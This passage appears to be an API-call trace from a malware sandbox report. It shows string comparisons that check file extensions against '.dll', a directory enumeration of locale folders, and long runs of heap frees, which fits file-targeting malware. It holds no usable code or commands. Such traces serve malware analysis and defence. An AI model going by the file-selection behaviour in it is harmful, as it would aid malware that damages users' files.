(lpString=".pl") returned 3 [0175.611] lstrcmpiW (lpString1=".pl", lpString2="dll") returned -1 [0175.611] lstrlenW (lpString=".pls") returned 4 [0175.611] lstrcmpiW (lpString1=".pls", lpString2=".dll") returned 1 [0175.611] lstrlenW (lpString=".pm") returned 3 [0175.611] lstrcmpiW (lpString1=".pm", lpString2="dll") returned -1 [0175.611] lstrlenW (lpString=".png") returned 4 [0175.611] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0175.611] lstrlenW (lpString=".pnm") returned 4 [0175.611] lstrcmpiW (lpString1=".pnm", lpString2=".dll") returned 1 [0175.611] lstrlenW (lpString=".pot") returned 4 [0175.611] lstrcmpiW (lpString1=".pot", lpString2=".dll") returned 1 [0175.611] lstrlenW (lpString=".potm") returned 5 [0175.611] lstrcmpiW (lpString1=".potm", lpString2="s.dll") returned -1 [0175.611] lstrlenW (lpString=".potx") returned 5 [0175.611] lstrcmpiW (lpString1=".potx", lpString2="s.dll") returned -1 [0175.611] lstrlenW (lpString=".ppa") returned 4 [0175.611] lstrcmpiW (lpString1=".ppa", lpString2=".dll") returned 1 [0175.611] lstrlenW (lpString=".ppam") returned 5 [0175.611] lstrcmpiW (lpString1=".ppam", lpString2="s.dll") returned -1 [0175.612] lstrlenW (lpString=".ppm") returned 4 [0175.612] lstrcmpiW (lpString1=".ppm", lpString2=".dll") returned 1 [0175.612] lstrlenW (lpString=".pps") returned 4 [0175.612] lstrcmpiW (lpString1=".pps", lpString2=".dll") returned 1 [0175.612] lstrlenW (lpString=".ppsm") returned 5 [0175.612] lstrcmpiW (lpString1=".ppsm", lpString2="s.dll") returned -1 [0175.612] lstrlenW (lpString=".ppt") returned 4 [0175.612] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0175.612] lstrlenW (lpString=".pptm") returned 5 [0175.612] lstrcmpiW (lpString1=".pptm", lpString2="s.dll") returned -1 [0175.612] lstrlenW (lpString=".pptx") returned 5 [0175.612] lstrcmpiW (lpString1=".pptx", lpString2="s.dll") returned -1 [0175.612] lstrlenW (lpString=".prn") returned 4 [0175.612] lstrcmpiW (lpString1=".prn", lpString2=".dll") returned 1 [0175.612] lstrlenW (lpString=".ps") returned 3 [0175.612] lstrcmpiW (lpString1=".ps", lpString2="dll") returned -1 [0175.612] lstrlenW (lpString=".psb") returned 4 [0175.612] lstrcmpiW (lpString1=".psb", lpString2=".dll") returned 1 [0175.612] lstrlenW (lpString=".psd") returned 4 [0175.612] lstrcmpiW (lpString1=".psd", lpString2=".dll") returned 1 [0175.612] lstrlenW (lpString=".pst") returned 4 [0175.612] lstrcmpiW (lpString1=".pst", lpString2=".dll") returned 1 [0175.612] lstrlenW (lpString=".ptx") returned 4 [0175.612] lstrcmpiW (lpString1=".ptx", lpString2=".dll") returned 1 [0175.612] lstrlenW (lpString=".pub") returned 4 [0175.612] lstrcmpiW (lpString1=".pub", lpString2=".dll") returned 1 [0175.612] lstrlenW (lpString=".pwm") returned 4 [0175.612] lstrcmpiW (lpString1=".pwm", lpString2=".dll") returned 1 [0175.612] lstrlenW (lpString=".pxr") returned 4 [0175.612] lstrcmpiW (lpString1=".pxr", lpString2=".dll") returned 1 [0175.612] lstrlenW (lpString=".py") returned 3 [0175.612] lstrcmpiW (lpString1=".py", lpString2="dll") returned -1 [0175.612] lstrlenW (lpString=".qt") returned 3 [0175.612] lstrcmpiW (lpString1=".qt", lpString2="dll") returned -1 [0175.613] lstrlenW (lpString=".r3d") returned 4 [0175.613] lstrcmpiW (lpString1=".r3d", lpString2=".dll") returned 1 [0175.613] lstrlenW (lpString=".raf") returned 4 [0175.613] lstrcmpiW (lpString1=".raf", lpString2=".dll") returned 1 [0175.613] lstrlenW (lpString=".rar") returned 4 [0175.613] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0175.613] lstrlenW (lpString=".raw") returned 4 [0175.613] lstrcmpiW (lpString1=".raw", lpString2=".dll") returned 1 [0175.613] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0175.613] FindNextFileW (in: hFindFile=0x44209a0, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="da-DK", cAlternateFileName="")) returned 1 [0175.613] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0175.613] FindNextFileW (in: hFindFile=0x44209a0, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="de-DE", cAlternateFileName="")) returned 1 [0175.613] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0175.614] FindNextFileW (in: hFindFile=0x44209a0, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="el-GR", cAlternateFileName="")) returned 1 [0175.614] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0175.614] FindNextFileW (in: hFindFile=0x44209a0, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-GB", cAlternateFileName="")) returned 1 [0175.614] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0175.614] FindNextFileW (in: hFindFile=0x44209a0, lpFindFileData=0x34ffa7c | out: lpFindFileData=0x34ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-US", cAlternateFileName="")) returned 1 [0175.614] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0175.614] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0175.614] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0175.614] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0175.615] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0175.616] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0175.616] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0175.616] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0175.617] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0175.617] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0175.618] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0175.619] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0175.619] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0175.620] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0175.620] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0175.621] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0175.621] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0175.622] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0175.622] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0175.623] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0175.623] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0175.624] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0175.625] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0175.625] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0175.626] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0175.626] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0175.627] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0175.627] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0175.629] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0175.630] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0175.630] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0175.631] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0175.632] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0175.632] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0175.632] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4410068 | out: hHeap=0x420000) returned 1 [0175.632] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3cb0078 | out: hHeap=0x420000) returned 1 [0175.635] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3cb0078 | out: hHeap=0x420000) returned 1 [0175.638] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3cb0078 | out: hHeap=0x420000) returned 1 [0175.834] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3cb0078 | out: hHeap=0x420000) returned 1 [0176.586] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3cb0078 | out: hHeap=0x420000) returned 1 [0176.588] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0176.592] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0176.593] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4453098 | out: hHeap=0x420000) returned 1 [0176.593] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4453098 | out: hHeap=0x420000) returned 1 [0176.593] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4453098 | out: hHeap=0x420000) returned 1 [0176.593] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4453098 | out: hHeap=0x420000) returned 1 [0176.593] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4453098 | out: hHeap=0x420000) returned 1 [0176.594] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4453098 | out: hHeap=0x420000) returned 1 [0176.594] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4453098 | out: hHeap=0x420000) returned 1 [0176.594] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x474b68, Size=0x4000) returned 0x44630a0 [0176.595] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4453098 | out: hHeap=0x420000) returned 1 [0176.595] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4453098 | out: hHeap=0x420000) returned 1 [0176.595] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4453098 | out: hHeap=0x420000) returned 1 [0176.596] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4453098 | out: hHeap=0x420000) returned 1 [0176.596] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4453098 | out: hHeap=0x420000) returned 1 [0176.596] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4453098 | out: hHeap=0x420000) returned 1 [0176.596] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4453098 | out: hHeap=0x420000) returned 1 [0176.597] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44670a8 | out: hHeap=0x420000) returned 1 [0176.597] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44670a8 | out: hHeap=0x420000) returned 1 [0176.597] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44670a8 | out: hHeap=0x420000) returned 1 [0176.598] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44670a8 | out: hHeap=0x420000) returned 1 [0176.598] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44670a8 | out: hHeap=0x420000) returned 1 [0176.599] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44670a8 | out: hHeap=0x420000) returned 1 [0176.599] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44670a8 | out: hHeap=0x420000) returned 1 [0176.599] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44670a8 | out: hHeap=0x420000) returned 1 [0176.599] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44670a8 | out: hHeap=0x420000) returned 1 [0176.600] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44670a8 | out: hHeap=0x420000) returned 1 [0176.600] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4453098 | out: hHeap=0x420000) returned 1 [0176.600] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4453098 | out: hHeap=0x420000) returned 1 [0176.600] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4453098 | out: hHeap=0x420000) returned 1 [0176.600] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4453098 | out: hHeap=0x420000) returned 1 [0176.601] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4453098 | out: hHeap=0x420000) returned 1 [0176.603] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4453098 | out: hHeap=0x420000) returned 1 [0176.603] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4453098 | out: hHeap=0x420000) returned 1 [0176.603] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4453098 | out: hHeap=0x420000) returned 1 [0176.603] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4453098 | out: hHeap=0x420000) returned 1 [0176.603] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4453098 | out: hHeap=0x420000) returned 1 [0176.604] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4453098 | out: hHeap=0x420000) returned 1 [0176.604] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4453098 | out: hHeap=0x420000) returned 1 [0176.604] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4453098 | out: hHeap=0x420000) returned 1 [0176.604] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4453098 | out: hHeap=0x420000) returned 1 [0176.605] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4453098 | out: hHeap=0x420000) returned 1 [0176.605] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4453098 | out: hHeap=0x420000) returned 1 [0176.605] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4453098 | out: hHeap=0x420000) returned 1 [0176.605] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4453098 | out: hHeap=0x420000) returned 1 [0176.605] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4453098 | out: hHeap=0x420000) returned 1 [0176.605] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4453098 | out: hHeap=0x420000) returned 1 [0176.606] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4453098 | out: hHeap=0x420000) returned 1 [0176.606] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4453098 | out: hHeap=0x420000) returned 1 [0176.606] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4453098 | out: hHeap=0x420000) returned 1 [0176.607] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4453098 | out: hHeap=0x420000) returned 1 [0176.607] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x44630a0, Size=0x8000) returned 0x44630a0 [0176.607] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4453098 | out: hHeap=0x420000) returned 1 [0176.607] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4453098 | out: hHeap=0x420000) returned 1 [0176.607] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4453098 | out: hHeap=0x420000) returned 1 [0176.607] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0176.610] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4453098 | out: hHeap=0x420000) returned 1 [0176.610] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0176.613] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4453098 | out: hHeap=0x420000) returned 1 [0176.614] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0176.614] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0176.614] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0176.614] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0176.615] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4453098 | out: hHeap=0x420000) returned 1 [0176.615] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0176.615] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4453098 | out: hHeap=0x420000) returned 1 [0176.615] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0176.615] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0176.615] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0176.616] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x446b0a8 | out: hHeap=0x420000) returned 1 [0176.616] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4453098 | out: hHeap=0x420000) returned 1 [0176.617] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4443090 | out: hHeap=0x420000) returned 1 [0176.618] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0176.619] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x446b0a8 | out: hHeap=0x420000) returned 1 [0176.620] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0176.621] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x447b0b0 | out: hHeap=0x420000) returned 1 [0176.621] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x447b0b0 | out: hHeap=0x420000) returned 1 [0176.621] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0176.622] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x447b0b0 | out: hHeap=0x420000) returned 1 [0176.622] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0176.623] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x447b0b0 | out: hHeap=0x420000) returned 1 [0176.623] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x446b0a8 | out: hHeap=0x420000) returned 1 [0177.024] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0177.051] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x443b090 | out: hHeap=0x420000) returned 1 [0177.051] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x443b090 | out: hHeap=0x420000) returned 1 [0177.052] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x443b090 | out: hHeap=0x420000) returned 1 [0177.052] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x442b088 | out: hHeap=0x420000) returned 1 [0177.054] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44850b8 | out: hHeap=0x420000) returned 1 [0177.056] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44850b8 | out: hHeap=0x420000) returned 1 [0177.057] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44850b8 | out: hHeap=0x420000) returned 1 [0177.057] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x444b098 | out: hHeap=0x420000) returned 1 [0177.057] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44850b8 | out: hHeap=0x420000) returned 1 [0177.057] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44850b8 | out: hHeap=0x420000) returned 1 [0177.058] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44850b8 | out: hHeap=0x420000) returned 1 [0177.060] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44850b8 | out: hHeap=0x420000) returned 1 [0177.062] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44850b8 | out: hHeap=0x420000) returned 1 [0177.063] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44850b8 | out: hHeap=0x420000) returned 1 [0177.065] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44b50c8 | out: hHeap=0x420000) returned 1 [0177.065] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44850b8 | out: hHeap=0x420000) returned 1 [0177.066] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44850b8 | out: hHeap=0x420000) returned 1 [0177.067] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44850b8 | out: hHeap=0x420000) returned 1 [0177.069] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44850b8 | out: hHeap=0x420000) returned 1 [0177.069] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x444b098 | out: hHeap=0x420000) returned 1 [0177.071] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x443b090 | out: hHeap=0x420000) returned 1 [0177.071] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x442b088 | out: hHeap=0x420000) returned 1 [0177.073] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44b50c8 | out: hHeap=0x420000) returned 1 [0177.076] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44b50c8 | out: hHeap=0x420000) returned 1 [0177.391] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x442b088 | out: hHeap=0x420000) returned 1 [0179.183] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0179.220] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44630a8 | out: hHeap=0x420000) returned 1 [0179.220] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0179.221] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0179.225] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0179.227] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0179.229] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4433088 | out: hHeap=0x420000) returned 1 [0179.229] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0179.232] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0179.234] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0179.237] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0179.545] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0180.049] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0180.052] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0180.052] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0180.052] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0180.054] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0180.054] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4423080 | out: hHeap=0x420000) returned 1 [0180.246] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45450e0 | out: hHeap=0x420000) returned 1 [0180.248] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45450e0 | out: hHeap=0x420000) returned 1 [0180.255] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45450e0 | out: hHeap=0x420000) returned 1 [0180.261] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45450e0 | out: hHeap=0x420000) returned 1 [0180.264] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45450e0 | out: hHeap=0x420000) returned 1 [0180.309] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0180.309] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0180.310] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0180.310] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4468858 | out: hHeap=0x420000) returned 1 [0180.311] HeapFree (in: hHeap=0x420000, dwFlags=0x0, 